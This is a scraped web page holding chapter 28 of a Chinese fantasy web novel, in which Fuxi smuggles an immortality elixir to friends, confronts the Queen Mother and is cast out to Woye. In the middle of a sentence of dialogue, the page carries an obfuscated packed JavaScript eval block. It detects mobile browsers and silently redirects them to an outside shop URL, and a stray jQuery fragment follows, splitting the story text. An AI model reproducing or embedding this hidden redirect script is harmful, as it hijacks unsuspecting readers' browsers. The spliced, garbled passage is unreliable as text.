文趣网 > 其他小说 > [洪荒]山海有她 > 28.第二十八章
    风止戈在摇光殿等候良久,忽听门开了,然而看到来人时,愣了一愣。

    “她怎么在这?”王母不悦。

    扶羲满身的刺痛,呲牙咧嘴地解释,“她不规矩,我怕她到处乱跑,再惹您生气,暂且关押在这了。”

    说罢,她又哼哼唧唧一番,见缝插针地朝风止戈使了个眼色。

    风止戈知道事已成,唯恐再坏了二人计划,忙缩到最不起眼的一处。

    扶羲扯了扯王母衣角,娇呼一声,“阿母——”

    王母微微蹙眉,“行啦,几千岁的人了,还来这套……”话说到一半,却忽然顿住,眸中划过一丝怜惜,“不动她就是。”

    扶羲心念一转,掩下眼中狡黠,道:“我们在云梦泽遇到了蜚角,幸亏固曾及时赶到将蜚角带回了幽冥,云梦泽毒瘟这才好转。后来又去了载天山,结果又碰到了五毒,止戈还救了好多人呢……”

    她七拐八绕地还想再说什么,却被王母厉声打断,“行了,这会儿不疼了?说这么多。”

    “疼……”

    看来从王母口中套话并非易事,连苦肉计都失灵了,这更加激起她心中的疑惑。然而凡事过犹不及,来日方长,先解决了不死药再说,她虑到此处,连忙住嘴。

    待王母走后,扶羲再三确认殿外无人,才将在兴圣宫偷梁换柱来的真药拿了出来。

    “止戈,别跟他说是偷来的,就说是小殿下面子广,为他求的。”扶羲知道以信岳的为人,若知道此物取之不义,必然不肯收。

    扶羲撑着身子继续交代道:“未免夜长梦多,拿了药你们就赶紧跑,趁他们还没发现。”

    风止戈托着玉盒,端详着那红丹半天,还时不时地放在鼻尖轻嗅。

    扶羲问:“做什么?有哪里不对吗?”

    风止戈还不知她是假吞药的事,皱眉道:“你用假的换了真的,等后面上山求药的人拿了假药,于昆仑山信誉不好。总得想办法再做个效力差不多的,到时你再放回去,免得他们发现为难你。”

    扶羲捂脸,在榻上笑得身子发颤,眼泪都冒了出来。

    “你怎么了,哪里疼?”风止戈见状,忙捏住她手腕。

    “没,没什么,只是觉得太好笑了。”不死药神人皆趋之若鹜,纵使旁人不知内情,也该知这药虽非举世无双,也该知不可多得,哪里能轻而易举复制。

    她笑风止戈的异想天开,也笑她紧要关头还想着昆仑山的信誉,能顾好眼前已是难得,哪里还管得了那么多以后。

    然而,风止戈却捏着她的手腕,一脸严肃,“扶羲,你……你怎么?”

    扶羲只觉得她越发好笑,打趣道:“我怎么了?手腕很白还是很好看?”

    风止戈神色愈发凝重,“你周身经脉混乱,只怕……”

    扶羲一瞬间慌了神,心道:她不是不会灵力吗?怎么摸一摸就能知道她的问题。

    她忙抽出手腕,笑得背过了身,回道:“止戈,你可逗死我了,我是神怪,不是凡人,你这一套对我不管用的。”

    风止戈挠了挠头,“是这样吗?”

    “不然呢?你看我现在和你有说有笑的,像是有问题的人吗?”扶羲抹了把笑出来的眼泪,一副笑得累瘫了的模样。

    风止戈见她似乎无恙,也不深究。

    自顾自又研究起了朱丹,“这丹应是由灵芝、玉髓另加一主药,最后以丹水调和炼化而成。”

    经方才一事,扶羲再不把风止戈仿丹的想法当成笑话。现在又听她这么说,心中不由燃起一丝希冀。

    若当真能炼化出相差无几的不死药,固曾岂非也有救了?

    然而不及她高兴太久,风止戈一句话就打破了她的幻想,“只是这味主药我从没有见过,不知是什么。”

    扶羲扯了扯唇角,若无其事道:“罢了罢了,快与信岳一起下山吧。”

    风止戈顿了顿,嘴角抽动,扶羲只当她要说什么。

    正当洗耳恭听时,不料却被抱了个满怀。又觉脖间一凉,闷闷的声音在颈间响起,“扶羲,我会想你的。”

    “瞧你,哭什么?我可是赤凰,稍微扇扇翅膀就能飞到云梦泽。”扶羲压了压泛到嗓子眼的酸意,拔高了音量,“到时我还能带你翱翔九天呢,你放心,我飞的一定比讹离那臭鸟稳当。”

    “噗嗤”一声,风止戈也笑了,“其实大裂谷的时候,我好害怕,当时还真有点后悔没有乘讹离的猎鹰。”

    扶羲道:“只是有点后悔吗?”那时她还因为仪玦不早带她乘云腹诽了许久,如今再想,竟丝毫不觉得窘迫,反而有种说不出的亲切。

    那时她还是扶羲,如今,她变得连自己都觉得陌生。

    而一路同行的他们终将离去,她要在这个陌生的地方变成一只人人害怕的疯鸟吗?

    风止戈道:“嗯,只是有点。总要经历一些不寻常的事,活着才更有意思。”

    扶羲怔了怔。死不可怕,疯也不可怕,可怕的是没有意思——没有意思的活着又与死了有何区别?

    她终于懂了,扶桑为何派她来。

    扶羲强压下身体的不适,来到兴圣宫。然而,宫内不见钦原,反倒是讹离守在王母身边,尽心服侍。

    她心中狐疑,讹离什么时候与王母这般亲厚了?不过于她来说,倒也不算坏事。不管怎么说,在这件事上,他们应该算是统一战线的。

    王母许是未料到她会来,见到她的时候眉头皱了皱。

    然而不待王母说话,她便“扑通”一声,跪了下去,“阿母,云梦泽突现蜚角,载天山受五毒袭击,幽冥暴动,这绝非巧合,您一定得想办法帮帮后母,帮帮玄母。”

    “住嘴,我是否说过,你养好了身体再来。”王母一改昨日慈祥,近乎暴戾。

    然而留给她的机会与时间也不多了,她迎上王母那猩红的眼神,道:“还有,赤凰前脚刚取了火山琉璃珠,怎么后脚就突然魂丧幽冥?纵然万鬼暴动,可以她当时的修为怎么会困在里面任由它们

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17737867|207805||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    撕碎吞噬?这么多年您就一点也没有怀疑过吗?把所有过错都归咎于后母、玄母,真的就能好过吗?”

    王母双手撑案,猛然立起,黝黑的瞳仁牢牢锁着她。

    然而,预想中劈头盖脸的怒骂并没有如期到来。

    “说完了?”声音冷的如坠冰窖一般。

    “没有。曾经的沃野姊妹情深,兄友弟恭,鸾凤和鸣,一派祥和。可如今呢?在这华丽辉煌的白玉京,昔日金兰反目成仇,昔日手足互相猜疑,我不相信这是您想要的。”扶羲体内烈火愈盛,肺腑灼烫,额角汗水不住地往外冒,她紧握的双拳,指甲嵌入掌心,压抑着呼之欲出的疼痛。

    “好!好!很好!看来你是大好了。我等了你这许多年,你要跟我说的第一件事便是这个吗?”王母仰面闭目,胸膛剧烈地起伏着。

    她喉间骤然发紧,胸腹之中似有什么炸开了一般,却似堵在了里面,什么都说不出来。双目眩晕,耳边也响起了隆隆声,她晃了晃头颅,神思才清明了几分。

    隐约听到讹离在劝慰着王母什么。

    “你既如此不喜昆仑,就去别处吧。”这一声,她听清了。

    去别处?能去哪里呢?还没有说服王母,她哪里也不能去。何况,若在别处变作一只疯鸟,乱咬人怎么办?

    她强撑着身子拼命向前挪动,手指从宽袖下探出,挣扎着向前,想要抓住那抹黄色衣摆,向昨日那样。

    然而,王母只是看着她,并没有像昨日那样拥她入怀。

    下一秒,一股劲风袭来。卷走了额间沁出的汗,留下了丝丝凉意,竟莫名好受了许多,她从一片灼热中拾回了些许神智。

    天旋地转,是真的,不是头晕。眼前风景以不寻常的速度倒退,只留下看不清的残影,就像当初她与仪玦去沃野时那般。

    仪玦?也不知道他如何了。钟山的不死药哪里是那么容易求得的,她也不过是为了支开他。有他在,一定不会同意她把药给信岳的,他那么想要赤凰回来,若知道她把药换走了,一定会恨她吧。

    也好。离开了昆仑,他纵使恨她,也拿她没办法了。

    她闭上双目,再不看眼前这浮影,亦不再抗拒,尽情舒展着双臂,想象在云端飞的感觉,下面是碧波万顷,清水潺潺,远山如黛……多么自由,她做梦都想这样……

    赤凰眼中的世界大抵就是这般吧?

    瞬息间,身体极速下坠。还来不及惊呼,她就坠入一片冰凉,入眼即是碧波万顷,清水潺潺,远山如黛……与她方才想象的一模一样。

    这里……是沃野?她竟又来到了沃野?

    是了,她隐约记得,离开兴圣宫的最后一眼,王母头上的戴胜似乎泛起了一道亮光。

    王母没有抛弃她。她鼻头一酸,整个人没入水中,任由清凉的泉水浸润着发烫的身体。

    只是王母让她来沃野,究竟是囚禁还是放逐?

    她的话,王母又听进去了几分?在这个地方,她还能做些什么?